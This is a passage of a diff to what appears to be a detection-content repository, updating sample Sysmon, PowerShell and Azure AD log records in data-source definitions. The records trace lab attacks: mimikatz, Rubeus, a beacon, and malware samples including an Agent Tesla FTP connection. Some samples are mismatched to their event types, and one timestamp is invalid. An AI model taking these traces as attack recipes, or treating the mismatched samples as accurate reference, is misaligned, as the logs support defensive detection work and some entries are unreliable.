"2023-10-10T17:08:65", "Id": "4593aac8-855f-4341-9d2a-4289146eb800", "Operation": "UserLoginFailed", "OrganizationId": "d541aae6-6b73-4a7c-aaf0-a4de30c872bc", "RecordType": 15, "ResultStatus": "Failed", "UserKey": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ClientIP": "52.3.21.4", "ObjectId": "Unknown", "UserId": "user30@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "ResultStatusDetail", "Value": "UserError"}, {"Name": "UserAgent", "Value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"}, {"Name": "UserAuthenticationMethod", "Value": "1"}, {"Name": "RequestType", "Value": "OAuth2:Token"}], "ModifiedProperties": [], "Actor": [{"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 0}, {"ID": "user30@contoso.onmicrosoft.com", "Type": 5}], "ActorContextId": "d541aae6-6b73-4a7c-aaf0-a4de30c872bc", "ActorIpAddress": "52.3.21.4", "InterSystemsId": "97e59adc-b4be-4ea6-8f17-b46677242190", "IntraSystemId": "eeeba3a0-c619-437a-9879-3dd009f9bf00", "SupportTicketId": "", "Target": [{"ID": "Unknown", "Type": 0}], "TargetContextId": "d541aae6-6b73-4a7c-aaf0-a4de30c872bc", "ApplicationId": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223", "DeviceProperties": [{"Name": "OS", "Value": "Windows10"}, {"Name": "BrowserType", "Value": "Chrome"}, {"Name": "IsCompliantAndManaged", "Value": "False"}], "ErrorNumber": "50126", "LogonError": "InvalidUserNameOrPassword"}' +example_log: | + {"Actor": [{"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 0}, {"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "66.176.252.11", "ApplicationId": "cb1056e2-e479-49de-ae31-7812af012ed8", "AzureActiveDirectoryEventType": 1, "ClientIP": "66.176.252.11", "CreationTime": "2021-01-05T23:35:29", "ExtendedProperties": [{"Name": "UserAgent", "Value": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)"}, {"Name": "UserAuthenticationMethod", "Value": "1"}, {"Name": "RequestType", "Value": "Login:login"}, {"Name": "ResultStatusDetail", "Value": "Success"}, {"Name": "KeepMeSignedIn", "Value": "false"}], "Id": "348abf3d-3f93-4700-bd8e-7abc7d2f4602", "InterSystemsId": "42eddb3e-516c-4c57-94c6-af26054601b1", "IntraSystemId": "348abf3d-3f93-4700-bd8e-7abc7d2f4602", "LogonError": "SsoArtifactInvalidOrExpired", "ModifiedProperties": [], "ObjectId": "00000002-0000-0000-c000-000000000000", "Operation": "UserLoginFailed", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 15, "ResultStatus": "Succeeded", "SupportTicketId": "", "Target": [{"ID": "00000002-0000-0000-c000-000000000000", "Type": 0}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "rodsoto@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"} diff --git a/data_sources/powershell_script_block_logging_4104.yml b/data_sources/powershell_script_block_logging_4104.yml index 37c59f8c7d..f60aa017a7 100644 --- a/data_sources/powershell_script_block_logging_4104.yml +++ b/data_sources/powershell_script_block_logging_4104.yml @@ -97,4 +97,5 @@ field_mappings: ScriptBlockId: process.uid ScriptBlockText: process.cmd_line UserID: actor.user.uid -example_log: 4104152150x0112748Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function New-Mutex($MutexName) { +example_log: | + 4104152150x0173718Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Get-ADComputer -TrustedForDelegation2deff591-3d0a-452d-8965-70b16cff029e diff --git a/data_sources/sysmon_eventid_10.yml b/data_sources/sysmon_eventid_10.yml index 381bd6df98..7d4ecb5277 100644 --- a/data_sources/sysmon_eventid_10.yml +++ b/data_sources/sysmon_eventid_10.yml @@ -116,4 +116,5 @@ output_fields: - TargetImage - GrantedAccess - CallTrace -example_log: 10341000x8000000000000000150624412Microsoft-Windows-Sysmon/Operationalwin-dc-128.attackrange.local-2022-02-01 21:01:44.670{3BF36828-9F6D-61F9-390A-02000000CF01}1272956C:\Tools\Rubeus.exe{3BF36828-4B37-61E8-0900-00000000CF01}572C:\Windows\system32\winlogon.exe0x1f3fffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+381f60|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+2fa12e|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+2f8cd5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+2c3b1e|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+2c01f5|UNKNOWN(00007FFD8E245F0C) +example_log: | + 10341000x8000000000000000145514Microsoft-Windows-Sysmon/Operationalar-win-dc-2025-10-31 12:34:47.757{CA8A6768-AC6C-6904-0C08-00000000FB03}39324456C:\Temp\castlerat_SEMIFIX.exe{CA8A6768-ACDB-6904-1C08-00000000FB03}6004C:\Windows\System32\ComputerDefaults.exe0x12367bC:\Windows\SYSTEM32\ntdll.dll+a9824|C:\Windows\System32\KERNELBASE.dll+c4405|C:\Temp\castlerat_SEMIFIX.exe+1575|C:\Temp\castlerat_SEMIFIX.exe+1f4b|C:\Temp\castlerat_SEMIFIX.exe+217de|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51a11AR-WIN-DC\AdministratorAR-WIN-DC\Administrator diff --git a/data_sources/sysmon_eventid_11.yml b/data_sources/sysmon_eventid_11.yml index e7305ae2f9..3979ac3a63 100644 --- a/data_sources/sysmon_eventid_11.yml +++ b/data_sources/sysmon_eventid_11.yml @@ -116,4 +116,5 @@ field_mappings: ProcessId: Filesystem.process_id TargetFilename: Filesystem.file_path TargetFilename|endswith: Filesystem.file_name -example_log: 11241100x80000000000000007712490Microsoft-Windows-Sysmon/Operationalwin-dc-mhaag-attack-range-84.attackrange.localDownloads2023-02-08 13:01:11.053{0F9A6540-A70E-63E2-3091-00000000BD02}9332C:\Users\Administrator\Downloads\mimikatz_trunk\x64\mimikatz.exeC:\Users\Administrator\Downloads\mimikatz_trunk\x64\CURRENT_USER_My_4_atomic@art2.local.pfx2023-02-08 13:01:11.053 +example_log: | + 11241100x800000000000000012805Microsoft-Windows-Sysmon/OperationalEC2AMAZ-FKEOM7GDLL2026-08-14 16:03:29.585{1b43529b-244c-6a7f-eb03-000000000000}4SystemC:\Windows\System32\phoneinfo.dll2026-08-14 16:03:29.585NT AUTHORITY\SYSTEM diff --git a/data_sources/sysmon_eventid_12.yml b/data_sources/sysmon_eventid_12.yml index eba4feeae4..1e1e0d5b7b 100644 --- a/data_sources/sysmon_eventid_12.yml +++ b/data_sources/sysmon_eventid_12.yml @@ -118,4 +118,5 @@ field_mappings: ProcessGuid: Registry.process_guid ProcessId: Registry.process_id TargetObject: Registry.registry_path -example_log: 12241200x80000000000000001055579Microsoft-Windows-Sysmon/Operationalwin-dc-890.attackrange.local-DeleteKey2021-07-12 08:10:32.592{466BC892-F8F2-60EB-107E-00000000CF01}10188C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeHKU\S-1-5-21-2333072374-3391925831-3197092227-1112_Classes\exefile\shell\runas\command +example_log: | + 12241200x800000000000000013262Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.localT1060,RunPolicyDeleteValue2024-06-21 09:25:49.545{848A6B75-314B-6675-1500-000000000B03}1128C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{0D807408-8157-49B9-ACFC-0B5C15B1119E}NT AUTHORITY\LOCAL SERVICE diff --git a/data_sources/sysmon_eventid_13.yml b/data_sources/sysmon_eventid_13.yml index c79e6783ce..be3d951a1e 100644 --- a/data_sources/sysmon_eventid_13.yml +++ b/data_sources/sysmon_eventid_13.yml @@ -128,4 +128,5 @@ field_mappings: action: Registry.action TargetObject|startswith: Registry.registry_key_name TargetObject|endswith: Registry.registry_value_name -example_log: 13241300x8000000000000000810987Microsoft-Windows-Sysmon/Operationalwin-host-623.attackrange.local-SetValue2021-07-12 08:11:04.547{0C1E0330-048F-60E8-0B00-00000000D001}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d776fd-0xd724b8c5) +example_log: | + 13241300x8000000000000000262912Microsoft-Windows-Sysmon/Operationalwin-dc-root-42062-811.attackrange.localT1101SetValue2022-07-20 07:01:49.126{5AE44C2C-A85D-62D7-6B23-000000006902}32C:\Windows\system32\reg.exeHKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehaviorDWORD (0x00000002) diff --git a/data_sources/sysmon_eventid_14.yml b/data_sources/sysmon_eventid_14.yml index 0a862e3db3..8e04c633c2 100644 --- a/data_sources/sysmon_eventid_14.yml +++ b/data_sources/sysmon_eventid_14.yml @@ -131,4 +131,5 @@ fields: - UtcTime - vendor_product - Version -example_log: '' +example_log: | + 1 5 4 1 0 0x8000000000000000 1588086 Microsoft-Windows-Sysmon/Operational WIN10-21H1.snapattack.labs - 2024-10-25 17:34:44.951 F51F9151-D6B4-671B-5506-000000001600 3020 C:\Windows\System32\svchost.exe 10.0.19041.546 (WinBuild.160101.0800) Host Process for Windows Services Microsoft® Windows® Operating System Microsoft Corporation svchost.exe C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry C:\Windows\system32\ NT AUTHORITY\LOCAL SERVICE F51F9151-D420-671B-E503-000000000000 0x3e5 0 System MD5=F586835082F632DC8D9404D83BC16316,SHA256=643EC58E82E0272C97C2A59F6020970D881AF19C0AD5029DB9C958C13B6558C7,IMPHASH=F9BBD96FAE53B7A31264A703CAFA0666 F51F9151-D420-671B-0B00-000000001600 708 C:\Windows\System32\services.exe C:\Windows\system32\services.exe NT AUTHORITY\SYSTEM diff --git a/data_sources/sysmon_eventid_15.yml b/data_sources/sysmon_eventid_15.yml index 6ce32f6c2f..d06b35240b 100644 --- a/data_sources/sysmon_eventid_15.yml +++ b/data_sources/sysmon_eventid_15.yml @@ -120,4 +120,5 @@ output_fields: - user - user_id - vendor_product -example_log: 15241500x8000000000000000667860Microsoft-Windows-Sysmon/Operationalproject-mumbai-host-2021-04-28 20:11:34.709{ED2ECF8A-C154-6089-F967-00000000BB01}7000C:\Users\DefaultAccount\AppData\Roaming\Telegram Desktop\Telegram.exeC:\Users\DefaultAccount\Downloads\Telegram Desktop\Good(NLA).txt:Zone.Identifier2021-04-28 20:11:33.238MD5=C785C55D5FA3443A11B8417209C4B524,SHA256=D07777E0DC36EBECCE3FA9644F0F44DC4A0B7EDE0CBC1F5D33E8D6CB07AF5B5C,IMPHASH=00000000000000000000000000000000[ZoneTransfer] ZoneId=3 +example_log: | + 15241500x80000000000000001590509Microsoft-Windows-Sysmon/OperationalWIN10-21H1.snapattack.labs-2026-04-21 17:43:18.408F51F9151-8F0F-66AB-5100-000000000C003368C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\MsMpEng.exeC:\Windows\System32\drivers\ypupsude.sys2026-04-21 17:43:18.393MD5=79534331D05DFD0F747E1C129F9607E3,SHA256=41989526B4EB8D60A5E158F835EE90EEA5FE4E499705109317CD6F72114C852F,IMPHASH=AB984C67B3F5AE12FA0E91909A378B14-NT AUTHORITY\SYSTEM diff --git a/data_sources/sysmon_eventid_17.yml b/data_sources/sysmon_eventid_17.yml index cc6818726a..84ec3daf30 100644 --- a/data_sources/sysmon_eventid_17.yml +++ b/data_sources/sysmon_eventid_17.yml @@ -103,4 +103,5 @@ output_fields: - signature_id - user_id - vendor_product -example_log: 17141700x8000000000000000162168Microsoft-Windows-Sysmon/Operationalwin-dc-982.attackrange.local-CreatePipe2021-04-19 21:00:18.288{761B69BB-EF62-607D-B211-00000000BA01}6960\MSSE-1516-serverC:\Users\Administrator\Desktop\beacon.exe +example_log: | + 17141700x80000000000000002946Microsoft-Windows-Sysmon/OperationalEC2AMAZ-7DETGRN-CreatePipe2025-03-20 14:36:30.520BD875050-27E1-67DC-5905-00000000C7026324\adprinterpipeC:\Program Files (x86)\AnyDesk-ad_b8144d09\AnyDesk-ad_b8144d09.exeEC2AMAZ-7DETGRN\user diff --git a/data_sources/sysmon_eventid_18.yml b/data_sources/sysmon_eventid_18.yml index ac14d9ea15..f43cc17cb5 100644 --- a/data_sources/sysmon_eventid_18.yml +++ b/data_sources/sysmon_eventid_18.yml @@ -106,4 +106,5 @@ output_fields: - signature_id - user_id - vendor_product -example_log: 18141800x8000000000000000162173Microsoft-Windows-Sysmon/Operationalwin-dc-982.attackrange.local-ConnectPipe2021-04-19 21:00:19.312{761B69BB-EF62-607D-B211-00000000BA01}6960\MSSE-1516-serverC:\Users\Administrator\Desktop\beacon.exe +example_log: | + 18141800x80000000000000001090401Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-ConnectPipe2025-02-11 09:49:08.448{A9E392D4-1CF5-67AB-7902-00000000CD03}2336<Anonymous Pipe>C:\Users\Public\mspaint.exeATTACKRANGE\Administrator diff --git a/data_sources/sysmon_eventid_22.yml b/data_sources/sysmon_eventid_22.yml index 7467e3f285..f7e1f7ff5c 100644 --- a/data_sources/sysmon_eventid_22.yml +++ b/data_sources/sysmon_eventid_22.yml @@ -111,4 +111,5 @@ field_mappings: QueryResults: DNS.answer QueryName: DNS.query Computer: DNS.src -example_log: 22542200x8000000000000000113892Microsoft-Windows-Sysmon/Operationalwin-dc-299.attackrange.local-2021-03-24 12:25:12.840{3CFDEE80-2F7D-605B-F50A-00000000AE01}717250.220.65.3.spam.dnsbl.sorbs.net9003-C:\Windows\System32\wermgr.exe +example_log: | + 22542200x8000000000000000482435Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2025-06-02 09:26:30.658{91179021-6E44-683D-7302-00000000E703}5484tinyurl.com0::ffff:104.18.111.161;::ffff:104.17.112.233;C:\Users\ADMINI~1\AppData\Local\Temp\is-73KFS.tmp\application_stable_release.tmpATTACKRANGE\Administrator diff --git a/data_sources/sysmon_eventid_23.yml b/data_sources/sysmon_eventid_23.yml index 7da38b49a7..4481ca33b2 100644 --- a/data_sources/sysmon_eventid_23.yml +++ b/data_sources/sysmon_eventid_23.yml @@ -121,4 +121,5 @@ output_fields: - user - user_id - vendor_product -example_log: 23542300x8000000000000000281771Microsoft-Windows-Sysmon/Operationalwin-dc-ctus-attack-range-865.attackrange.local-2023-02-01 10:57:09.814{F522A29C-446D-63DA-9F01-00000000BB02}2428ATTACKRANGE\AdministratorC:\Temp\swiftslicer.exeC:\Python311\vcruntime140_1.dllMD5=75E78E4BF561031D39F86143753400FF,SHA256=1758085A61527B427C4380F0C976D29A8BEE889F2AC480C356A3F166433BF70E,IMPHASH=BF380CA954CBF10D1A4CEF9EC18E46FDtruefalse - insufficient disk space +example_log: | + 23542300x800000000000000025532Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2025-03-17 11:59:13.191{09721E1F-09E4-67D8-D703-00000000D803}6044ATTACKRANGE\AdministratorC:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtMD5=F3402D6DC0BDF6E55BDEE12E5E9239FD,SHA256=1C30C81571B24DFC53812C6424A932BEA6B7C73830A4A79038638705DEC5DFDC,IMPHASH=00000000000000000000000000000000falsetrue diff --git a/data_sources/sysmon_eventid_26.yml b/data_sources/sysmon_eventid_26.yml index 663897429a..53b59846d7 100644 --- a/data_sources/sysmon_eventid_26.yml +++ b/data_sources/sysmon_eventid_26.yml @@ -114,4 +114,5 @@ output_fields: - user - user_id - vendor_product -example_log: '' +example_log: | + 23542300x800000000000000025532Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2025-03-17 11:59:13.191{09721E1F-09E4-67D8-D703-00000000D803}6044ATTACKRANGE\AdministratorC:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exeC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtMD5=F3402D6DC0BDF6E55BDEE12E5E9239FD,SHA256=1C30C81571B24DFC53812C6424A932BEA6B7C73830A4A79038638705DEC5DFDC,IMPHASH=00000000000000000000000000000000falsetrue diff --git a/data_sources/sysmon_eventid_29.yml b/data_sources/sysmon_eventid_29.yml index e0307e8058..5f3fffbfb4 100644 --- a/data_sources/sysmon_eventid_29.yml +++ b/data_sources/sysmon_eventid_29.yml @@ -99,4 +99,5 @@ output_fields: - dest - user - EventCode -example_log: 29542900x80000000000000003374716Microsoft-Windows-Sysmon/Operationalar-win-dc-2025-11-14 10:09:37.697{CA8A6768-FFA9-6916-9303-000000000304}1436AR-WIN-DC\AdministratorC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Microsoft_Corporation\lScun7w.docxMD5=1E6E804CA71EAF5BEF0ABEF95C578CF0,SHA256=6FFE12CDFE0A36DEC4B4A40ECDAFB4097B1AF7C340B0FCECF9F5C67B7FA8B299,IMPHASH=2C4D798BB87EC57193B7625C4259DA43 +example_log: | + 29542900x80000000000000003374716Microsoft-Windows-Sysmon/Operationalar-win-dc-2025-11-14 10:09:37.697{CA8A6768-FFA9-6916-9303-000000000304}1436AR-WIN-DC\AdministratorC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Microsoft_Corporation\lScun7w.docxMD5=1E6E804CA71EAF5BEF0ABEF95C578CF0,SHA256=6FFE12CDFE0A36DEC4B4A40ECDAFB4097B1AF7C340B0FCECF9F5C67B7FA8B299,IMPHASH=2C4D798BB87EC57193B7625C4259DA43 diff --git a/data_sources/sysmon_eventid_3.yml b/data_sources/sysmon_eventid_3.yml index 87387f0030..c0cff19f4a 100644 --- a/data_sources/sysmon_eventid_3.yml +++ b/data_sources/sysmon_eventid_3.yml @@ -132,4 +132,5 @@ output_fields: - transport - user - vendor_product -example_log: 354300x8000000000000000156837Microsoft-Windows-Sysmon/Operationalwin-dc-ctus-attack-range-403.attackrange.local-2022-09-15 12:56:19.679{6820D070-1F1B-6323-E113-000000007402}5728C:\Temp\agent_tesla-deob.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-ctus-attack-range-403.attackrange.local61722-false41.77.117.236youssef5.genious.net21ftp +example_log: | + 3 5 4 3 0 0x8000000000000000 1785 Microsoft-Windows-Sysmon/Operational SLABS-DC.snapattack.labs - 2023-03-09 00:08:09.283 97232C30-2368-6409-E605-000000000902 2264 C:\Users\Public\Documents\dsquery.exe NT AUTHORITY\SYSTEM tcp true true fe80:0:0:0:4582:ae34:10a5:1f41 SLABS-DC.snapattack.labs 64020 - true fe80:0:0:0:4582:ae34:10a5:1f41 SLABS-DC.snapattack.labs 389 ldap diff --git a/data_sources/sysmon_eventid_6.yml b/data_sources/sysmon_eventid_6.yml index 1eb8f0ce0e..4c520e4677 100644 --- a/data_sources/sysmon_eventid_6.yml +++ b/data_sources/sysmon_eventid_6.yml @@ -102,4 +102,5 @@ output_fields: - signature_id - user_id - vendor_product -example_log: 644600x800000000000000015708989Microsoft-Windows-Sysmon/Operationalwin-dc-mhaag-attack-range-702.attackrange.local-2022-04-04 17:37:04.640C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\npf.sysMD5=DE7FCC77F4A503AF4CA6A47D49B3713D,SHA256=4BFAA99393F635CD05D91A64DE73EDB5639412C129E049F0FE34F88517A10FC6trueRiverbed Technology, Inc.Valid +example_log: | + 644600x800000000000000015708989Microsoft-Windows-Sysmon/Operationalwin-dc-mhaag-attack-range-702.attackrange.local-2022-04-04 17:37:04.640C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\npf.sysMD5=DE7FCC77F4A503AF4CA6A47D49B3713D,SHA256=4BFAA99393F635CD05D91A64DE73EDB5639412C129E049F0FE34F88517A10FC6trueRiverbed Technology, Inc.Valid diff --git a/data_sources/sysmon_eventid_7.yml b/data_sources/sysmon_eventid_7.yml index c12558683a..1d61b64f3f 100644 --- a/data_sources/sysmon_eventid_7.yml +++ b/data_sources/sysmon_eventid_7.yml @@ -130,4 +130,5 @@ output_fields: - signature_id - user_id - vendor_product -example_log: 734700x800000000000000045273Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-09-12 08:06:31.433{8814F3F5-1C07-6500-9600-000000000E03}4440C:\Users\Administrator\AppData\Local\Temp\server.exeC:\Users\Administrator\AppData\Local\Temp\server.exe-----MD5=696CBE2CB6F7FAC5ED6262BCA51238BB,SHA256=43005D86607DC94C7D378AA1B8844947BAA03860652F2F2340266061AF12E524,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744false-UnavailableATTACKRANGE\Administrator +example_log: | + 734700x800000000000000012799Microsoft-Windows-Sysmon/OperationalEC2AMAZ-FKEOM7G-2026-08-14 16:03:24.305{1b43529b-3c4c-6a7f-c904-000000006300}8748C:\Users\Administrator\Desktop\ShieldBreak.exeC:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26070.9-0\MpClient.dll4.18.26070.9 (797b3603749206dfffe67a1cc891531b0a2cf438)Client InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationmpclient.dllMD5=BD542955CA16303D5042FA6C519470F6,SHA256=F5BB3463A94C4D87CC90691B474126F5EC1330579DD596F381322C3DAF7F44DC,IMPHASH=E8D5A007E0A362B0C7263E95E1F2C82AtrueMicrosoft WindowsValidEC2AMAZ-FKEOM7G\Administrator diff --git a/data_sources/sysmon_eventid_8.yml b/data_sources/sysmon_eventid_8.yml index e2224c576e..af7b40845d 100644 --- a/data_sources/sysmon_eventid_8.yml +++ b/data_sources/sysmon_eventid_8.yml @@ -120,4 +120,5 @@ output_fields: - SourceUser - TargetUser - vendor_product -example_log: 824800x8000000000000000362233Microsoft-Windows-Sysmon/Operationalwin-dc-ctus-attack-range-487.attackrange.local-2022-10-27 13:59:12.427{3381F800-8EB0-635A-1306-000000008A02}4864C:\Windows\SysWOW64\wermgr.exe{3381F800-8085-635A-2701-000000008A02}5572C:\Windows\System32\Taskmgr.exe49640x0000000000C20000-- +example_log: | + 824800x80000000000000001054678Microsoft-Windows-Sysmon/Operationalwin-dc-ctus-attack-range-487.attackrange.local-2022-10-28 08:59:23.635{3381F800-8A03-635B-C401-000000008B02}5716C:\Windows\SysWOW64\wermgr.exe{3381F800-99EA-635B-D403-000000008B02}980C:\Program Files\Mozilla Firefox\firefox.exe7760x0000000000500000-- diff --git a/data_sources/windows_active_directory_admon.yml b/data_sources/windows_active_directory_admon.yml index f6accf46da..2bcb215aa5 100644 --- a/data_sources/windows_active_directory_admon.yml +++ b/data_sources/windows_active_directory_admon.yml @@ -55,4 +55,88 @@ fields: - whenChanged - whenCreated - xmlns -example_log: 4688201331200x8020000000000000362027Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa44C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level +example_log: | + 4688201331200x8020000000000000362027Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70xa44C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe%%19360x7a0"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level + 154100x800000000000000011367Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-03-28 19:31:14.811{F02F376E-4082-6423-571B-00000000D602}2628C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-FF56-6421-E703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}1952--- + 154100x800000000000000013498Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:43.409{f73635a5-4063-6423-701c-000000004902}344C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013497Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:42.644{f73635a5-4062-6423-6f1c-000000004902}1160C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013496Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:42.003{f73635a5-4062-6423-6e1c-000000004902}2016C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe9.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6A4D276E993FB7EE14DED01CBEBDA71,SHA256=CD4DF32D3564EA53C1EE782BB5F55A0C0E9CAC30BAE49D51B041829AA96CA5A4,IMPHASH=9374AAB4494C2195A38F44F0D36C8B58{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013495Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:41.233{f73635a5-4061-6423-6d1c-000000004902}5728C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013494Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:38.167{f73635a5-405e-6423-6c1c-000000004902}2588C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{f73635a5-ff58-6421-e703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}3132--- + 154100x800000000000000013493Microsoft-Windows-Sysmon/Operationalar-win-dc.attackrange.local-2023-03-28 19:30:36.838{f73635a5-405c-6423-6b1c-000000004902}5240C:\Windows\System32\taskhostw.exe10.0.17763.1852 (WinBuild.160101.0800)Host Process for Windows TasksMicrosoft® Windows® Operating SystemMicrosoft Corporationtaskhostw.exetaskhostw.exe NGCKeyPregenC:\Windows\system32\NT 